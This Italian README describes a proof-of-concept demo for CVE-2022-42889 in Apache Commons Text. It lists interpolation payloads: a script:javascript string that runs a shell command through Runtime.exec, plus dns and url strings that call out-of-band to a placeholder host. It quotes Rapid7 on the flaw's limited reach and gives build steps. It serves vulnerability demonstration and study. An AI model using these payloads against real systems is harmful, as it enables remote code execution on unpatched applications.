CVE-2022-42889-POC

Una semplice applicazione demo che mostra come sfruttare la vulnerabilità CVE-2022-42889.
Utilizza servizi OOB (Out of Band) per dimostrare i prefissi dns e url.

JavaDocs per commons-text interpolation commons-text JavaDocs

Esempi di interpolazioni

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Citazione da Rapid7

La vulnerabilità è stata paragonata a Log4Shell poiché si tratta di una vulnerabilità a livello di libreria open source che probabilmente avrà un impatto su un'ampia varietà di applicazioni software che utilizzano l'oggetto pertinente.
Tuttavia, l'analisi iniziale indica che questo è un paragone inappropriato. La natura della vulnerabilità fa sì che, a differenza di Log4Shell, sarà raro che un'applicazione utilizzi il componente vulnerabile di Commons Text per elaborare input non attendibili e potenzialmente dannosi.

Prerequisiti

• docker
• java
• maven

Java e maven possono essere saltati se si recupera l'immagine da Docker Hub

Utilizzo

Compila l'applicazione

mvn clean package

Compila l'immagine docker